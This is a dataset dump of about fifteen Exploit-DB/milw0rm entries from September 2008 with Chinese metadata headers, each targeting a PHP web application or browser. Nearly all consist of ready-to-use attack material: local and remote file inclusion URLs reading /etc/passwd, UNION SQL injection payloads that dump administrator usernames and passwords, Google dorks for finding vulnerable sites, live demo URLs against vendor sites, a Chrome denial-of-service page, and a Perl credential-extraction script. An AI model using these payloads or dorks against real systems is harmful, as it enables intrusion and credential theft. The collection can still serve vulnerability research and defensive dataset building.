QLWD/code_shield huggingface dataset:
标题: LanSuite 3.3.2 - 'design' Local File Inclusion EDB-ID: 6562 CVE: 2008-4330 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-25 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ##########################################################################
 #  [ lansuite <= 3.4 beta r1363 ]   Local File Inclusion Vulnerability   #
 ##########################################################################
 #
 # Script: "Lansuite - Webbased LAN-Party Management System"
 #
 # Script site: http://lansuite.orgapage.de
 # Download: http://sourceforge.net/project/showfiles.php?group_id=105885
 #
 # Vuln: 
 # http://site.com/[lansuite-3.4_beta_r1363]/index.php?design=../../../../../../../../../../etc/passwd%00
 #     
 #
 # Bug: ./lansuite-3.4_beta_r1363/index.php (lines: 243-254)
 #
 # ...
 # if (!$auth["design"]) $auth["design"] = "simple";
 # if (!file_exists("design/{$auth["design"]}/templates/index.php")) $auth["design"] = "simple";
 # $_SESSION["auth"]["design"] = $auth["design"];
 # if ($_GET['design'] and $_GET['design'] != 'popup' and $_GET['design'] != 'base') $auth['design'] = $_GET['design'];      // [1]
 #
 # // Statistic Functions (for generating server- and usage-statistics)
 # if ($db->success) $stats = new stats();
 #
 # // Boxes
 # if (!$IsAboutToInstall and !$_GET['contentonly'] and $_GET['design'] != 'base') include_once("modules/boxes/class_boxes.php");
 #
 # if ($_GET['design'] != 'base') include_once('design/'. $auth['design'] .'/templates/index.php');      // [2] LFI
 # ...        
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-25] URL: https://www.exploit-db.com/exploits/6562
标题: Jadu CMS for Government - 'recruit_details.php' SQL Injection EDB-ID: 6555 CVE: 2008-5988 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-24 漏洞利用脚本: ################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z -beenu- DON # 
#-OutLawz- P47tr1ck- FeDeReR- MAGE- JeTFyrE-FunctionSys-jappan #              
#                   and all darkc0de members                ---# 
################################################################ 
# 
# Author: r45c4l (Special thanks to congrallion)
# 
# Home  : www.darkc0de.com 
# 
# Email : r45c4l@hotmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Title: Jadu CMS for Government (recruit_details.php) Remote SQL Inj
#
#
# Vendor: http://www.jadu.co.uk/site/index.php
#
# 
#
###########################################################
#
# d0rk:inurl:site/scripts/recruit_details.php?id
# d0rk:inurl:"recruit_details.php?id=" 
#
###########################################################
 
  POC 1: 

 http://www.site.com/site/scripts/recruit_details.php?id=null+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database()),6,7,8,9,10,11,12--

  POC 2:

 http://www.site.com/site/scripts/recruit_details.php?id=null+union+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12+from+JaduAdministrators--


###########################################################
#
#  Bug discovered : 24 Sep.2008
###########################################################

# milw0rm.com [2008-09-24] URL: https://www.exploit-db.com/exploits/6555
标题: barcodegen 2.0.0 - Local File Inclusion EDB-ID: 6558 CVE: 2008-5993 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-24 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ###################################################################
 #  [ barcodegen <= 2.0.0 ]   Local File Inclusion Vulnerability   #
 ###################################################################
 #
 # Script: "Barcode Generator 1D"
 #
 # Script site: http://www.barcodephp.com/
 # Download: http://www.barcodephp.com/download.php
 #
 # Vuln: 
 # http://site.com/[barcodegen.1d-v2.0.0]/html/image.php?t=1&r=1&text=1&f1=1&f2=1&o=1&a1=1&a2=1&code=/../../../../../../../etc/passwd%00
 #     
 #
 # Bug: ./barcodegen.1d-v2.0.0/html/image.php (lines: 2-8)
 #
 # ...
 # if(isset($_GET['code']) && isset($_GET['t']) && isset($_GET['r']) && isset($_GET['text']) && isset($_GET['f1']) 
 #    && isset($_GET['f2']) && isset($_GET['o']) && isset($_GET['a1']) && isset($_GET['a2'])) {
 # require('config.php');
 # require($class_dir.'/BCGColor.php');
 # require($class_dir.'/BCGBarcode.php');
 # require($class_dir.'/BCGDrawing.php');
 # require($class_dir.'/BCGFont.php');
 # if(include($class_dir . '/BCG' . $_GET['code'] . '.barcode.php')) { // LFI
 # ...        
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-24] URL: https://www.exploit-db.com/exploits/6558
标题: webcp 0.5.7 - 'filelocation' Remote File Disclosure EDB-ID: 6556 CVE: 2008-6002 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-24 漏洞利用脚本: ##################################################################################
## webcp 0.5.7 (sendfile.php filelocation) Remote File Disclosure Vulnerability
## Script : http://www.web-cp.net/releases/webcp-0.5.7.tar.gz
## Demo : http://gyrbo.madoka.be/web-cp/
## Vuln :
## }
## if ($tf = fopen($filelocation, "r")) {
## // Date in the past
##################################################################################
## POC :
##      http://gyrbo.madoka.be/web-cp/sendfile.php?filelocation=config.inc.php
## Open By Mozilla Firefox
##################################################################################

# milw0rm.com [2008-09-24] URL: https://www.exploit-db.com/exploits/6556
标题: Google Chrome - Carriage Return Null Object Memory Exhaustion EDB-ID: 6554 CVE: 2008-4340 类型: DOS 平台: WINDOWS 发布日期: 2008-09-24 漏洞利用脚本: <html>
<title>Google Chrome Carriage Return Null Object Memory Exhaustion Remote Dos.</title>
<head>
<script language="javascript">

window.open("\r\n\r\n");
window.refresh();
window.open("\r\n\r\n");


</script>
</head>

<body><br><br>
<h2><center>Google Chrome Carriage Return Null Object Memory Exhaustion Remote Denial of Service.<br><br>Proof of Concept</br></br> </center></h2>


<center>
<b>Note:: Keep an eye on the memory consumption in Task Manager.</b><br><br>

<hr></hr>
<b>This POC has been designed with minimum object usage. This can be made more critical when combined with number of objects. For Example:
using alert function will make it more exhaustive.</b></br></br>

<b><br>Aditya K Sood<br> (c) SecNiche Security.<br><a href="http://www.secniche.org">http://www.secniche.org</a></br></b>
<hr></hr></center>
<b>Version Tested:<br><br>Official Build 1798<br>
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)<br> AppleWebKit/525.13 (KHTML, like Gecko)<br> Chrome/0.2.149.29 Safari/525.13
 <br><br>

Official Build 2200<br>
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) <br>AppleWebKit/525.13 (KHTML, like Gecko) <br>Chrome/0.2.149.30 Safari/525.13
</b>
<hr></hr>
</body>


</html>

# milw0rm.com [2008-09-24] URL: https://www.exploit-db.com/exploits/6554
标题: mailwatch 1.0.4 - 'doc' Local File Inclusion EDB-ID: 6552 CVE: 2008-5991 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-24 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ##################################################################
 #  [ mailwatch <= 1.0.4 ]   Local File Inclusion Vulnerability   #
 ##################################################################
 #
 # Script site: http://sourceforge.net/projects/mailwatch/
 #
 # Vuln: 
 # http://site.com/[mailwatch-1.0.4]/mailscanner/docs.php?doc=../../../../../../../etc/passwd%00
 #      
 #
 # Bug: ./mailwatch-1.0.4/mailscanner/docs.php (lines: 23-34)
 #
 # ...
 # if (isset($_GET[doc])) {
 #  include("docs/".$_GET[doc].".html");
 # } else {
 #  echo "<TABLE WIDTH=100% CLASS=\"BOXTABLE\">\n";
 #  echo " <TR>\n";
 #  echo "  <TD>\n";
 #  echo "  <H1>Documentation</H1>\n";
 #  echo "  This page does not require authentication, so you can put links to your site documentation here and allow your users to access it if you wish.";
 #  echo "  </TD>\n";
 #  echo " </TR>\n";
 #  echo "</TABLE>\n";
 # }
 # ...        
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-24] URL: https://www.exploit-db.com/exploits/6552
标题: Jetik Emlak ESA 2.0 - Multiple SQL Injections EDB-ID: 6549 CVE: 2008-5992 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-24 漏洞利用脚本: [~] Jetik Emlak ESA 2.0 System Script
[~]
[~] (KayitNo) multiple remote sql inj
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 24.09.2008
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] contact: zorlu@w.cn
[~] 
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] -----------------------------------------------------------

Exploit:

http://localhost/script_path/diger.php?KayitNo=[SQL]

http://localhost/script_path/sayfalar.php?KayitNo=[SQL]

[SQL]= 

-99999999+union+select+null,null,concat(user(),0x3a,database(),0x3a,version()),null,null/*

Example:

http://www.jetik.net/esa/diger.php?KayitNo=-99999999+union+select+null,null,concat(user(),0x3a,database(),0x3a,version()),null,null/*

Example 2:

http://www.jetik.net/esa/sayfalar.php?KayitNo=-99999999+union+select+null,null,concat(user(),0x3a,database(),0x3a,version()),null,null/*




[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke, FaLCaTa, ProgenTR, Ryu, Phantom Orchid, edish, SON-KRAL & all Muslims HaCkeRs
[~]
[~] http://www.z0rlu.blogspot.com online : )
[~]
[~] home: yildirimordulari.org  &  r00tsecurity.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-09-24] URL: https://www.exploit-db.com/exploits/6549
标题: Ol BookMarks Manager 0.7.5 - Local File Inclusion / Remote File Inclusion / SQL Injection EDB-ID: 6547 CVE: 2008-6409 2008-6408 2008-6407 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-24 漏洞利用脚本: #########################################
Ol Bookmarks Manager 0.7.5 RFI / LFI / SQL Injection Vulnerabilities
#########################################
POC & Vulns
RFI In (frame.php) In Line 46
 include "$_GET[framefile]";
#########################################
Ex : /frame.php?framefile=[Shell]
#########################################
LFI In (/read/frame.php) In Line 46
 include "../$_GET[framefile]";
#########################################
Ex : /frame.php?framefile=../../../../../../etc/passwd
#########################################
SQL Injection In /read/index.php?name=brian&id=
Ex : /read/index.php?name=brian&id=-0000008+union+select+1,2,3,4,password,login,7,8,9,10,12,11,13+from+preferences--
#########################################
Thanx To .. Tryag.cc/cc ..And.. All Members In TryaG 

# milw0rm.com [2008-09-24] URL: https://www.exploit-db.com/exploits/6547
标题: AJ Auction Pro Platinum Skin - 'item_id' SQL Injection EDB-ID: 6550 CVE: 2008-6414 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-24 漏洞利用脚本: ############################################################################################
## AJ Auction Pro Platinum Skin #2 (detail.php item_id) Remote SQL Injection Vulnerability
## POC :
##       /detail.php?item_id=-1+UNION+SELECT+1,2,3,4,concat(user_name,0x3a,password),
##       6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35
##       ,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51+from+admin--
## Live Demo :
##    http://www.ajauctionpro.com/ajauction_platinum2/detail.php?item_id=-1+UNION+SELECT+1,2,3,4
##    ,concat(user_name,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19
##    ,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42
##    ,43,44,45,46,47,48,49,50,51+from+admin--
############################################################################################

# milw0rm.com [2008-09-24] URL: https://www.exploit-db.com/exploits/6550
标题: PHPcounter 1.3.2 - 'defs.php' Local File Inclusion EDB-ID: 6553 CVE: 2008-5989 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-24 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ###################################################################
 #  [ PHPcounter <= 1.3.2 ]   Local File Inclusion Vulnerability   #
 ###################################################################
 #
 # Script: "A multi-account real time web-site counter in PHP/MySQL with lots of different statistics of the visitors."
 #
 # Script site: http://phpcounter.sourceforge.net/
 # Download: http://sourceforge.net/projects/phpcounter/
 #
 # Vuln: 
 # http://site.com/[phpcounter.1.3.2]/defs.php?l=../../../../../../../etc/passwd%00
 #     
 #
 # Bug: ./phpcounter.1.3.2/defs.php (line: 49)
 #
 # ...
 #  @include("langs/$_GET[l].php");
 # ...        
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-24] URL: https://www.exploit-db.com/exploits/6553
标题: emergecolab 1.0 - 'sitecode' Local File Inclusion EDB-ID: 6551 CVE: 2008-5990 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-24 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ###############################################################
 #  [ emergecolab 1.0 ]   Local File Inclusion Vulnerability   #
 ###############################################################
 #
 # Script site: http://emerge2004.net/software.php 
 # Download: http://eduforge.org/projects/emergecolab/
 #
 # Vuln:
 # http://site.com/emerge-1.0/connect/index.php?sitecode=../../../../../../../etc/passwd%00
 #      
 #
 # Bug: ./emerge-1.0/connect/init.inc (lines: 23-30)
 #
 # ...
 # if (isset($_GET["sitecode"])) {
 #  #first load the global settings
 # include ("conf/global.conf");
 # #echo "got get var";
 # $_SESSION["sitecode"]=$_GET["sitecode"];
 # #set the session variable with the site folder for now just to default
 # $_SESSION['sitefolder']='site';
 # include ("conf/".strtolower($_GET["sitecode"]).".conf");  // LFI
 # ...
 #
 #
 # Bug: (for example) ./emerge-1.0/connect/index.php (line: 2)
 #
 # ...
 # require ("init.inc");
 # ...
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-24] URL: https://www.exploit-db.com/exploits/6551
标题: JETIK-WEB Software - 'kat' SQL Injection EDB-ID: 6542 CVE: 2008-6401 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-23 漏洞利用脚本: [~]-----------------------------------------------------------
[~] JETIK-WEB Software v1 - SQL Injection Vulnerability
[~]
[~] http://www.jetik.net
[~] ----------------------------------------------------------
[~] Bug founded by d3v1l
[~]
[~] Date: 22.09.2008
[~]
[~]
[~] d3v1l@spoofer.com
[~]
[~] -----------------------------------------------------------
[~] Greetz tO ALL:-
[~]
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~]
[~] Pentest| Gibon| Pig       AND      milw0rm staff
[~]-------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/sayfa.php?kat=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3/*
[~]
[~] Demo :-
[~]
[~] http://www.jetik.net/sayfa.php?kat=1%20UNION%20SELECT%201,concat_ws(0x3a,version(),database(),user()),3/*
[~]
[~]--------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-09-23] URL: https://www.exploit-db.com/exploits/6542
标题: Sofi WebGui 0.6.3 PRE - 'mod_dir' Remote File Inclusion EDB-ID: 6539 CVE: 2008-6402 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-23 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 #########################################################################
 #  [ Sofi WebGui <= 0.6.3 PRE ]   Remote File Inclusion Vulnerability   #
 #########################################################################
 #
 # Script site: http://www.muskatli.net/studio/hu/?f=sofi-wgui-hu
 # Download: http://www.muskatli.net/site/files/news_data/100004_100192_sofi_webgui_0.6.0.pre-release-3.tar.gz
 #
 # Vuln: http://site.com/sofi_webgui/hu/modules/reg-new/modstart.php?mod_dir=[spread???]
 #      
 #
 # Bug: ./sofi_webgui/hu/modules/reg-new/modstart.php (line: 26)
 #
 # ...
 #  if($ff=="") $ff = "index";
 # $file_name = "m_$ff.php";
 #
 # //start web module
 # include("$mod_dir/$file_name");  // RFI
 # ...   
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-23] URL: https://www.exploit-db.com/exploits/6539
标题: Ol BookMarks Manager 0.7.5 - Local File Inclusion EDB-ID: 6543 CVE: 2008-6410 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-23 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ####################################################################
 #  [ olbookmarks <= 0.7.5 ]   Local File Inclusion Vulnerability   #
 ####################################################################
 #
 # Script site: http://sourceforge.net/project/showfiles.php?group_id=24742
 #
 # Vuln: 
 # http://site.com/olbookmarks/show.php?show=../../../../../../../etc/passwd%00
 #      
 #
 # Bug: ./olbookmarks-0.7.5/show.php
 #
 # ...
 # if ($_REQUEST[root] != "" || $_REQUEST[lib] != "") exit;
 #
 # if ($_GET[show]!="")
 #  include("$root/$_GET[show].php");
 # else
 #  include("$lib/bookmarkslist_view.php");
 # ...        
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-23] URL: https://www.exploit-db.com/exploits/6543
标题: HotScripts Clone - 'cid' SQL Injection EDB-ID: 6545 CVE: 2008-6405 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-24 漏洞利用脚本: |___________________________________________________|
|
| Hotscripts Clone (cid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM |  WwW.TrYaG.CC
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|
|___________________________________________________
|                                                   |
|
| script : http://www.greatclone.com/product_info.php?cPath=31&products_id=81
|
| DorK   : inurl:add_soft.php
|___________________________________________________|


sbwmd_config:username_len
sbwmd_email_id:useremail
sbwmd_mailing_list:username
sbwmd_mailing_list:useremail
sbwmd_members:username
sbwmd_admin:pwd>freemagics
sbwmd_config:pwd_len
sbwmd_members:pwd
sbwmd_admin:admin_name
sbwmd_config:admin_email
sbwmd_softwares:admin_desc





www.[target].com/Script/showcategory.php?cid=-27+UNION+SELECT+1,concat(admin_name,0x3a,pwd),3,4,5,6+FROM+sbwmd_admin--


OR


www.[target].com/Script/showcategory.php?cid=-27+UNION+SELECT+1,concat(admin_name,0x3a,pwd),3,4,5+FROM+sbwmd_admin--






____________________________( Greetz )_________________________________
|
|    All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|    Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone
|______________________________________________________________________


                             Im IRAQi

# milw0rm.com [2008-09-24] URL: https://www.exploit-db.com/exploits/6545
标题: iGaming CMS 1.5 - Multiple SQL Injections EDB-ID: 6540 CVE: 2008-5841 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-23 漏洞利用脚本: #!/usr/bin/perl
# ----------------------------------------------------------
# iGaming <= 1.5 Multiple Remote SQL Injection Exploit
# Perl Exploit - Output: id:admin:password
# Discovered On: 23/09/2008
# Discovered By: StAkeR - StAkeR[at]hotmail[dot]it
# Proud To Be Italian 
# ----------------------------------------------------------
# Usage: perl exploit.pl http://localhost/iGaming
# ----------------------------------------------------------

use strict;
use LWP::UserAgent;

my ($one,$two,$exec,$host,$http,$xxx,$view);

$view  = "'%20union%20select%200,0,1,2,concat(0x25,id,0x3a,pseudo,0x3a,pass,0x25),0,6,7,8%20from%20sp_members%20WHERE%20id='1/*";
$exec  = "'%20union%20select%201,concat(0x25,id,0x3a,pseudo,0x3a,pass,0x25),3%20from%20sp_members%20where%20id='1/*";
$host = shift @ARGV;
$http = new LWP::UserAgent or die $!;
$http->agent("Mozilla/4.5 [en] (Win95; U)");
$http->timeout(1);
                          

if($host !~ /^http:\/\/(.+?)$/)
{
  print "[?] iGaming CMS <= 1.5 Multiple Remote SQL Injection Exploit\n";
  print "[?] Usage: perl $0 http://[path]\n";
  exit;
}
else
{
  $one = $http->get($host.'/previews.php?browse='.$exec);
  $two = $http->get($host.'/reviews.php?browse='.$exec);
  $xxx = $http->get($host.'/index.php?do=viewarticle&id='.$view);
  
  if($one->is_success or $two->is_success or $xxx->is_success)
  {
    die "$1\n" if $one->content =~ /%(.+?)%/;
    die "$1\n" if $two->content =~ /%(.+?)%/;
    die "$1\n" if $xxx->content =~ /%(.+?)%/;
  }
  else
  {
    die "[+] Exploit Failed!\n";
  }
}  

# milw0rm.com [2008-09-23] URL: https://www.exploit-db.com/exploits/6540